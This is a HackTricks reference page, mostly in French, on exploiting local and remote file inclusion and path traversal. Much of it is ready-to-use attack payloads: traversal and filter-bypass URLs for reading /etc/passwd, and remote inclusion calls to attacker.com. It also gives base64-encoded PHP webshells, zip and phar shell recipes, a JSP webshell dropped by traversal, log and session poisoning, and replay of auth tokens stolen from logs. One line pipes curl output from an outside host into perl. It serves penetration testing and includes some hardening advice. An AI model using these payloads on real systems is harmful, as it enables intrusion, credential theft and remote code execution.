File Inclusion/Path traversal
Reading time: 31 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
File Inclusion
Remote File Inclusion (RFI): Le fichier est chargé depuis un serveur distant (Idéalement : vous pouvez écrire le code et le serveur l'exécutera). En php ceci est désactivé par défaut (allow_url_include).
Local File Inclusion (LFI): Le serveur charge un fichier local.
La vulnérabilité se produit lorsque l'utilisateur peut contrÎler d'une maniÚre ou d'une autre le fichier que le serveur va charger.
Fonctions PHP vulnérables: require, require_once, include, include_once
Un outil intéressant pour exploiter cette vulnérabilité : https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE fichiers
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
En mixant plusieurs listes LFI *nix et en ajoutant d'autres chemins, j'ai créé celle-ci :
Essayez aussi de remplacer /
par \
Essayez aussi d'ajouter ../../../../../
Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) se trouve ici
Windows
Fusion de différentes wordlists :
Essayez aussi de remplacer /
par \
Essayez aussi de supprimer C:/
et d'ajouter ../../../../../
Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) se trouve ici
OS X
Consultez la liste LFI de linux.
LFI de base et contournements
Tous les exemples concernent Local File Inclusion mais pourraient aussi s'appliquer Ă Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
Séquences de traversal supprimées de façon non récursive
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Octet nul (%00)
Bypass l'ajout de caractĂšres Ă la fin de la chaĂźne fournie (bypass de: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Ceci est résolu depuis PHP 5.4
Encodage
Vous pouvez utiliser des encodages non standard comme double URL encode (et d'autres):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
Depuis un dossier existant
Peut-ĂȘtre que le back-end vĂ©rifie le chemin du dossier :
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Exploration des répertoires du systÚme de fichiers sur un serveur
Le systĂšme de fichiers d'un serveur peut ĂȘtre explorĂ© de façon rĂ©cursive pour identifier des rĂ©pertoires, pas seulement des fichiers, en employant certaines techniques. Ce processus implique de dĂ©terminer la profondeur des rĂ©pertoires et de sonder l'existence de dossiers spĂ©cifiques. Voici une mĂ©thode dĂ©taillĂ©e pour y parvenir :
- Déterminer la profondeur des répertoires : Déterminez la profondeur de votre répertoire courant en récupérant avec succÚs le fichier
/etc/passwd
(applicable si le serveur est basĂ© sur Linux). Un exemple d'URL pourrait ĂȘtre structurĂ© comme suit, indiquant une profondeur de trois :
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Sonder les dossiers : Ajoutez le nom du dossier suspect (p. ex.,
private
) Ă l'URL, puis revenez Ă/etc/passwd
. Le niveau de répertoire supplémentaire nécessite d'incrémenter la profondeur d'un niveau :
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Interpréter les résultats : La réponse du serveur indique si le dossier existe :
- Error / No Output : Le dossier
private
n'existe probablement pas à l'emplacement spécifié. - Contents of
/etc/passwd
: La présence du dossierprivate
est confirmée.
- Recursive Exploration : Les dossiers dĂ©couverts peuvent ĂȘtre sondĂ©s davantage pour des sous-rĂ©pertoires ou fichiers en utilisant la mĂȘme technique ou des mĂ©thodes traditionnelles de Local File Inclusion (LFI).
Pour explorer des répertoires à différents emplacements dans le systÚme de fichiers, ajustez le payload en conséquence. Par exemple, pour vérifier si /var/www/
contient un répertoire private
(en supposant que le répertoire courant est à une profondeur de 3), utilisez :
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation est une méthode employée pour manipuler les chemins de fichiers dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractÚres supplémentaires à la fin des chemins de fichiers. L'objectif est de concevoir un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier désiré.
En PHP, diffĂ©rentes reprĂ©sentations d'un chemin de fichier peuvent ĂȘtre considĂ©rĂ©es comme Ă©quivalentes en raison de la nature du systĂšme de fichiers. Par exemple :
/etc/passwd
,/etc//passwd
,/etc/./passwd
, and/etc/passwd/
sont tous traitĂ©s comme le mĂȘme chemin.- Lorsque les 6 derniers caractĂšres sont
passwd
, ajouter un/
(faisantpasswd/
) ne change pas le fichier ciblĂ©. - De mĂȘme, si
.php
est ajouté à un chemin de fichier (commeshellcode.php
), ajouter un/.
à la fin n'altérera pas le fichier accédé.
Les exemples fournis montrent comment utiliser path truncation pour accéder à /etc/passwd
, une cible courante en raison de son contenu sensible (informations sur les comptes utilisateurs) :
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Dans ces scĂ©narios, le nombre de traversĂ©es nĂ©cessaires peut ĂȘtre d'environ 2027, mais ce nombre peut varier selon la configuration du serveur.
- Utilisation de segments de points et de caractÚres supplémentaires : Les séquences de traversal (
../
) combinĂ©es Ă des segments de points supplĂ©mentaires et Ă d'autres caractĂšres peuvent ĂȘtre utilisĂ©es pour naviguer dans le systĂšme de fichiers, en ignorant effectivement les chaĂźnes ajoutĂ©es par le serveur. - DĂ©terminer le nombre requis de traversĂ©es : Par essais et erreurs, on peut trouver le nombre prĂ©cis de sĂ©quences
../
nécessaires pour atteindre la racine puis/etc/passwd
, en veillant à ce que les chaßnes ajoutées (comme.php
) soient neutralisées tout en conservant le chemin désiré (/etc/passwd
). - Commencer par un répertoire factice : Il est courant de commencer le chemin par un répertoire inexistant (comme
a/
). Cette technique sert de précaution ou permet de satisfaire les exigences de la logique d'analyse du chemin du serveur.
Lors de l'utilisation de techniques de troncature de chemin, il est crucial de comprendre le comportement d'analyse des chemins du serveur et la structure du systÚme de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.
Cette vulnérabilité a été corrigée dans PHP 5.3.
Techniques de contournement de filtres
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
Dans php, ceci est désactivé par défaut parce que allow_url_include
est Off. Il doit ĂȘtre On pour que cela fonctionne, et dans ce cas vous pourriez inclure un fichier PHP depuis votre serveur et obtenir RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Si pour une raison quelconque allow_url_include
est On, mais PHP filtre l'accÚs aux pages web externes, selon ce post, vous pouvez par exemple utiliser le data protocol avec base64 pour décoder un code PHP b64 et obtenir une RCE :
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
tip
Dans le code précédent, le +.txt
final a été ajouté parce que l'attaquant avait besoin d'une chaßne se terminant par .txt
, donc la chaßne se termine par cela et aprÚs le décodage b64 cette partie ne renverra que des données inutiles et le vrai code PHP sera inclus (et donc exécuté).
Un autre exemple n'utilisant pas le protocole php://
serait :
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
ĂlĂ©ment Root en Python
En Python, dans un code comme celui-ci :
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Si l'utilisateur passe un chemin absolu Ă file_name
, le chemin précédent est simplement supprimé :
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
C'est le comportement prévu selon the docs:
Si un composant est un chemin absolu, tous les composants précédents sont jetés et la jonction continue à partir du composant de chemin absolu.
Java List Directories
Il semble que si vous avez un Path Traversal en Java et que vous demandez un répertoire au lieu d'un fichier, un listing du répertoire est renvoyé. Cela ne se produit pas dans d'autres langages (afaik).
Top 25 parameters
Voici la liste des 25 principaux paramĂštres qui pourraient ĂȘtre vulnĂ©rables aux local file inclusion (LFI) vulnerabilities (from link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI utilisant les wrappers & protocoles PHP
php://filter
Les filtres PHP permettent d'effectuer des opérations de modification sur les données avant qu'elles ne soient lues ou écrites. Il existe 5 catégories de filtres :
- String Filters:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Supprime les balises des données (tout ce qui se trouve entre les caractÚres "<" et ">")- Note that this filter has disappear from the modern versions of PHP
- Conversion Filters
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transforme vers un autre encodage (convert.iconv.<input_enc>.<output_enc>
). Pour obtenir la liste de tous les encodages supportés, lancez en console :iconv -l
warning
En abusant du filtre de conversion convert.iconv.*
, vous pouvez gĂ©nĂ©rer du texte arbitraire, ce qui peut ĂȘtre utile pour Ă©crire du texte arbitraire ou faire en sorte qu'une fonction comme include traite du texte arbitraire. Pour plus d'infos, consultez LFI2RCE via php filters.
- Compression Filters
zlib.deflate
: Compress the content (useful if exfiltrating a lot of info)zlib.inflate
: Decompress the data- Encryption Filters
mcrypt.*
: Dépréciémdecrypt.*
: Déprécié- Other Filters
- Running in php
var_dump(stream_get_filters());
you can find a couple of unexpected filters: consumed
dechunk
: inverse l'encodage HTTP chunkedconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,ÂŁhellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
warning
La partie "php://filter" n'est pas sensible Ă la casse
Using php filters as oracle to read arbitrary files
In this post is proposed a technique to read a local file without having the output given back from the server. This technique is based on a boolean exfiltration of the file (char by char) using php filters as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.
In the original post you can find a detailed explanation of the technique, but here is a quick summary:
- Use the codec
UCS-4LE
to leave leading character of the text at the begging and make the size of string increases exponentially. - This will be used to generate a text so big when the initial letter is guessed correctly that php will trigger an error
- The dechunk filter will remove everything if the first char is not an hexadecimal, so we can know if the first char is hex.
- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
- The codec convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an
a
for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb. - Using other transformations like rot13 at the beginning itâs possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
- When the initial char is a number itâs needed to base64 encode it and leak the 2 first letters to leak the number.
- The final problem is to see how to leak more than the initial letter. By using order memory filters like convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE is possible to change the order of the chars and get in the first position other letters of the text.
- And in order to be able to obtain further data the idea if to generate 2 bytes of junk data at the beginning with convert.iconv.UTF16.UTF16, apply UCS-4LE to make it pivot with the next 2 bytes, and delete the data until the junk data (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
In the post a tool to perform this automatically was also leaked: php_filters_chain_oracle_exploit.
php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Vous pouvez aussi utiliser php://stdin, php://stdout and php://stderr pour accĂ©der aux file descriptors 0, 1 and 2 respectivement (je ne vois pas trop comment cela pourrait ĂȘtre utile dans une attaque)
zip:// and rar://
Téléversez un fichier Zip ou Rar avec un PHPShell à l'intérieur et accédez-y.
Pour pouvoir abuser du protocole rar, il doit ĂȘtre activĂ© spĂ©cifiquement.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Notez que ce protocole est restreint par les configurations php allow_url_open
et allow_url_include
expect://
Expect doit ĂȘtre activĂ©. Vous pouvez exĂ©cuter du code en utilisant ceci :
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Spécifiez votre payload dans les paramÚtres POST :
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Un fichier .phar
peut ĂȘtre utilisĂ© pour exĂ©cuter du code PHP lorsqu'une application web utilise des fonctions telles que include
pour charger des fichiers. L'extrait de code PHP ci-dessous montre la création d'un fichier .phar
:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
Pour compiler le fichier .phar
, la commande suivante doit ĂȘtre exĂ©cutĂ©e :
php --define phar.readonly=0 create_path.php
Upon execution, a file named test.phar
will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
In cases where the LFI only performs file reading without executing the PHP code within, through functions such as file_get_contents()
, fopen()
, file()
, file_exists()
, md5_file()
, filemtime()
, or filesize()
, exploitation of a deserialization vulnerability could be attempted. This vulnerability is associated with the reading of files using the phar
protocol.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar
files, refer to the document linked below:
Phar Deserialization Exploitation Guide
CVE-2024-2961
It was possible to abuse any arbitrary file read from PHP that supports php filters to get a RCE. The detailed description can be found in this post.
Very quick summary: a 3 byte overflow in the PHP heap was abused to alter the chain of free chunks of anspecific size in order to be able to write anything in any address, so a hook was added to call system
.
It was possible to alloc chunks of specific sizes abusing more php filters.
More protocols
Consultez davantage de protocols to include here:
- php://memory and php://temp â Ăcrit en mĂ©moire ou dans un fichier temporaire (pas sĂ»r de comment cela peut ĂȘtre utile dans une file inclusion attack)
- file:// â AccĂšs au systĂšme de fichiers local
- http:// â AccĂšs aux URLs HTTP(s)
- ftp:// â AccĂšs aux URLs FTP(s)
- zlib:// â Compression Streams
- glob:// â Find pathnames matching pattern (Ne renvoie rien d'imprimable, donc pas vraiment utile ici)
- ssh2:// â Secure Shell 2
- ogg:// â Audio streams (Pas utile pour lire des fichiers arbitraires)
LFI via PHP's 'assert'
Local File Inclusion (LFI) risks in PHP are notably high when dealing with the 'assert' function, which can execute code within strings. This is particularly problematic if input containing directory traversal characters like ".." is being checked but not properly sanitized.
For example, PHP code might be designed to prevent directory traversal like so:
assert("strpos('$file', '..') === false") or die("");
Bien que cela vise Ă empĂȘcher la traversal, cela crĂ©e involontairement un vecteur pour code injection. Pour exploiter cela afin de lire le contenu d'un fichier, un attaquant pourrait utiliser :
' and die(highlight_file('/etc/passwd')) or '
De mĂȘme, pour exĂ©cuter des commandes systĂšme arbitraires, on peut utiliser :
' and die(system("id")) or '
Il est important de URL-encode these payloads.
PHP Blind Path Traversal
warning
Cette technique est pertinente dans les cas oĂč vous control le file path d'une PHP function qui va access a file mais dont vous ne verrez pas le contenu (comme un simple appel Ă file()
) car le contenu n'est pas affiché.
Dans this incredible post il est expliquĂ© comment un blind path traversal peut ĂȘtre abusĂ© via PHP filter pour exfiltrate the content of a file via an error oracle.
En résumé, la technique utilise l'encodage "UCS-4LE" pour rendre le contenu d'un fichier si big que la PHP function opening le fichier provoquera une error.
Puis, pour leak le premier char, le filter dechunk
est utilisé avec d'autres comme base64 ou rot13, et finalement les filters convert.iconv.UCS-4.UCS-4LE et convert.iconv.UTF16.UTF-16BE sont utilisés pour place other chars at the beggining and leak them.
Functions that might be vulnerable: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (only target read only with this)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Pour les détails techniques, consultez le post mentionné !
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Lorsqu'un code cÎté serveur qui ingÚre/uploade des fichiers construit le chemin de destination en utilisant des données contrÎlées par l'utilisateur (par ex. un filename ou URL) sans canonicaliser et valider, les segments ..
et les chemins absolus peuvent s'échapper du répertoire prévu et provoquer l'écriture arbitraire d'un fichier. Si vous pouvez placer le payload dans un répertoire exposé au web, vous obtenez généralement une RCE non authentifiée en déposant un webshell.
Flux d'exploitation typique :
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Déterminer les répertoires exposés au web. Exemples courants :
- Apache/PHP:
/var/www/html/
- Tomcat/Jetty:
<tomcat>/webapps/ROOT/
â dropshell.jsp
- IIS:
C:\inetpub\wwwroot\
â dropshell.aspx
- Construisez un traversal path qui sort du répertoire de stockage prévu vers le webroot, et incluez votre contenu de webshell.
- Accédez au payload déposé et exécutez des commandes.
Notes:
- Le service vulnérable qui effectue l'écriture peut écouter sur un port non-HTTP (par ex. un JMF XML listener sur TCP 4004). Le portail web principal (port différent) servira ensuite votre payload.
- Sur les stacks Java, ces écritures de fichiers sont souvent implémentées par une simple concaténation
File
/Paths
. Le manque de canonicalisation/allow-listing est le défaut principal.
Generic XML/JMF-style example (product schemas vary â the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Durcissement qui empĂȘche cette classe de bugs :
- Résoudre en un chemin canonique et vérifier qu'il est descendant d'un répertoire de base autorisé.
- Rejeter tout chemin contenant
..
, des racines absolues, ou des lettres de lecteur ; préférer des noms de fichiers générés. - Exécuter le writer sous un compte à faibles privilÚges et séparer les répertoires d'écriture des racines servies.
Remote File Inclusion
Expliqué précédemment, follow this link.
Via Apache/Nginx log file
Si le serveur Apache ou Nginx est vulnérable à LFI dans la fonction include, vous pouvez tenter d'accéder à /var/log/apache2/access.log
or /var/log/nginx/access.log
, d'insérer dans le user agent ou dans un GET parameter un php shell comme <?php system($_GET['c']); ?>
et d'inclure ce fichier
warning
Notez que si vous utilisez des guillemets doubles pour le shell au lieu de guillemets simples, les guillemets doubles seront modifiés pour la chaßne "quote;", PHP renverra une erreur et rien d'autre ne sera exécuté.
De plus, assurez-vous d'écrire correctement le payload sinon PHP renverra une erreur à chaque tentative de chargement du fichier de log et vous n'aurez pas de seconde opportunité.
Cela peut aussi ĂȘtre fait dans d'autres logs mais faites attention, le code Ă l'intĂ©rieur des logs peut ĂȘtre URL encoded et cela peut dĂ©truire le Shell. L'en-tĂȘte authorisation "basic" contient "user:password" en Base64 et il est dĂ©codĂ© dans les logs. Le PHPShell peut ĂȘtre insĂ©rĂ© dans cet en-tĂȘte.\
Autres chemins de logs possibles:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Lire les access logs pour récolter des auth tokens basés sur GET (token replay)
De nombreuses apps acceptent par erreur des session/auth tokens via GET (par ex., AuthenticationToken, token, sid).
Si vous avez un primitive path traversal/LFI donnant accĂšs aux web server logs, vous pouvez voler ces tokens depuis les access logs et les replay pour fully bypass authentication.
How-to:
- Utilisez le traversal/LFI pour lire le web server access log. Emplacements courants :
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Certaines endpoints renvoient file reads Base64-encoded. Si c'est le cas, décodez localement et inspectez les log lines.
- Grep pour les requĂȘtes GET qui incluent un paramĂštre token et capturez sa valeur, puis replayez-la contre l'application entry point.
Exemple de flux (générique) :
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Décoder le corps s'il est Base64, puis rejouer un token capturé :
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Remarques:
- Les tokens dans les URLs sont enregistrés par défaut ; n'acceptez jamais de bearer tokens via GET dans des systÚmes en production.
- Si l'app supporte plusieurs noms de token, recherchez des clés courantes comme AuthenticationToken, token, sid, access_token.
- Renouvelez tous les tokens qui ont pu leaked dans les logs.
Par e-mail
Envoyer un mail Ă un compte interne (user@localhost) contenant votre payload PHP comme <?php echo system($_REQUEST["cmd"]); ?>
et essayez de l'inclure dans le mail de l'utilisateur avec un chemin comme /var/mail/<USERNAME>
ou /var/spool/mail/<USERNAME>
Par /proc/*/fd/*
- Téléversez beaucoup de shells (par exemple : 100)
- Incluez http://example.com/index.php?page=/proc/$PID/fd/$FD, avec $PID = PID du processus (peut ĂȘtre brute forced) et $FD = file descriptor (peut aussi ĂȘtre brute forced)
Par /proc/self/environ
Comme un fichier de log, envoyez le payload dans le User-Agent, il sera reflété à l'intérieur du fichier /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
Si vous pouvez upload un fichier, injectez simplement le shell payload dedans (p. ex. : <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Pour que le fichier reste lisible il est préférable d'injecter dans les métadonnées des images/doc/pdf
Via upload de fichier ZIP
Téléversez un fichier ZIP contenant un PHP shell compressé et accédez :
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Via PHP sessions
Vérifiez si le site web utilise PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
Dans PHP, ces sessions sont stockées dans /var/lib/php5/sess\[PHPSESSID]_ fichiers
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Définissez le cookie sur <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Utilisez la LFI pour inclure le fichier de session PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Via ssh
Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d'accéder à <HOME>/.ssh/id_rsa
Via vsftpd logs
Les logs du serveur FTP vsftpd se trouvent Ă /var/log/vsftpd.log. Dans le scĂ©nario oĂč une vulnĂ©rabilitĂ© Local File Inclusion (LFI) est prĂ©sente et qu'il est possible d'accĂ©der Ă un serveur vsftpd exposĂ©, les Ă©tapes suivantes peuvent ĂȘtre envisagĂ©es :
- Injectez un payload PHP dans le champ username lors du login.
- AprÚs l'injection, utilisez la LFI pour récupérer les logs du serveur depuis /var/log/vsftpd.log.
Via php base64 filter (using base64)
As shown in this article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (no file needed)
Ce writeup explique que vous pouvez utiliser php filters pour générer du contenu arbitraire en sortie. Ce qui signifie essentiellement que vous pouvez générer du code php arbitraire pour l'include sans avoir besoin de l'écrire dans un fichier.
Via segmentation fault
Upload un fichier qui sera stocké en temporary dans /tmp
, puis dans la mĂȘme requĂȘte, provoquez un segmentation fault, et alors le temporary file won't be deleted et vous pourrez le rechercher.
LFI2RCE via Segmentation Fault
Via Nginx temp file storage
Si vous avez trouvé une Local File Inclusion et que Nginx est en frontal de PHP, vous pourriez obtenir RCE avec la technique suivante :
Via PHP_SESSION_UPLOAD_PROGRESS
Si vous avez trouvĂ© une Local File Inclusion mĂȘme si vous n'avez pas de session et que session.auto_start
est Off
. Si vous fournissez le PHP_SESSION_UPLOAD_PROGRESS
dans les données multipart POST, PHP activera la session pour vous. Vous pouvez abuser de cela pour obtenir RCE :
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Via temp file uploads in Windows
Si vous avez trouvé une Local File Inclusion et que le serveur tourne sous Windows vous pourriez obtenir RCE :
Via pearcmd.php
+ URL args
As explained in this post, the script /usr/local/lib/phppearcmd.php
exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an =
, it should be used as an argument. See also watchTowrâs write-up and Orange Tsaiâs âConfusion Attacksâ.
The following request create a file in /tmp/hello.php
with the content <?=phpinfo()?>
:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Ce qui suit exploite une vuln CRLF pour obtenir une RCE (from here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Via phpinfo() (file_uploads = on)
Si vous avez trouvé une Local File Inclusion et un fichier exposant phpinfo() avec file_uploads = on, vous pouvez obtenir RCE:
Via compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Path Disclosure
Si vous avez trouvé une Local File Inclusion et que vous pouvez exfiltrer le path du temp file MAIS que le server est en train de vérifier si le fichier à inclure a des PHP marks, vous pouvez essayer de bypasser cette vérification avec cette Race Condition:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
Via attente éternelle + bruteforce
